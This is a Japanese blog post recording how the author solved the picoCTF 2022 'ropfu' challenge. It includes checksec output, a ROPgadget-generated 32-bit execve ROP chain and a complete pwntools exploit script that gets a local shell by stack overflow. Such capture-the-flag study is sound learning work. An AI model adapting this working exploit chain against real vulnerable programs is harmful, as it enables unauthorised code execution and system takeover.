LoginSignup
1
0

More than 1 year has passed since last update.

picoCTF 2022 ropfu を勉強した記録

Last updated at Posted at 2022-03-30

BOFの脆弱性はある。libcは配布されていないので,smashme みたいに スタックでシェルコードを実行するのかな?

セキュリティを確認

# checksec ./vuln
[*] '/home/xxxx/picoctf2022/ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

NX disabledなのでダメだ。

お手上げ。

他力本願

syscallを使ってROPchainを組めだと。

64ビットなら,syscallは勉強済み

しかし32ビットはわからん。

ctftimeのとおり ROPgadget をやってみる

# ROPgadget --binary ./vuln --ropchain

(中略)

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5064) # @ .data + 4
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x08049022) # pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x08049e39) # pop ecx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret    <-- ebx = "/bin/sh"のアドレス
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080e5060) # padding without overwrite ebx
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret     <-- eax = 11
	p += pack('<I', 0x0804a3d2) # int 0x80          <-- syscall

32ビットのexecveの資料,どっかにないか?

execveの32ビットにおけるcall番号は11 なので eax に 11 をセット
ebx に "/bin/sh"のアドレスをセット
ecx と edx には 0x0 をセット
そして
syscall(int 0x80)に飛ばす

Aの数を確認して

   0x08049e25 <+84>:	call   0x8049d95 <vuln>
   0x08049e2a <+89>:	mov    eax,0x0

gdb-peda$ x/60xw $esp
0xffffd3c0:	0xffffd3d0	0x080e62c4	0x00000000	0x08049da5
0xffffd3d0:	0x00414141	0x0806e58a	0x080e5000	0x08049e22
0xffffd3e0:	0x00000000	0x080e5000	0xffffd408	0x08049e2a

Aは 4*7

組んでみる。

splver.py
import pwn
from struct import pack

#io = pwn.remote("saturn.picoctf.net", 55012)
io = pwn.process("./vuln")

ret = io.readuntil("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n")
print(ret)

p = 'A' * 4 * 7

p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80

print(p)

io.send(p)
io.interactive()

ローカルで実行してみる

# python vuln.py 
[+] Starting local process './vuln': pid 2457
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAɃ\x05`P\x0eAAAAJ\x0/bin\x91\x05Ƀ\x05dP\x0eAAAAJ\x0//sh\x91\x05Ƀ\x05hP\x0eAAAA\x90��\x05"\x90\x04`P\x0e9\x9e\x04hP\x0eɃ\x05hP\x0e`P\x0e\x90^\x0^\x0^\x0^\x0^\x0^\x0^\x0^\x^\x0^\x0ң\x04
[*] Switching to interactive mode
$ ls
$ ls
flag.txt  peda-session-vuln.txt  vuln  vuln.c  vuln.py
$ cat flag.txt
This is local test flag!!!$  

刺さった。

勉強のためにと思って ROPgadget を一切使わずにやってきたのが仇となり解けなかった。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0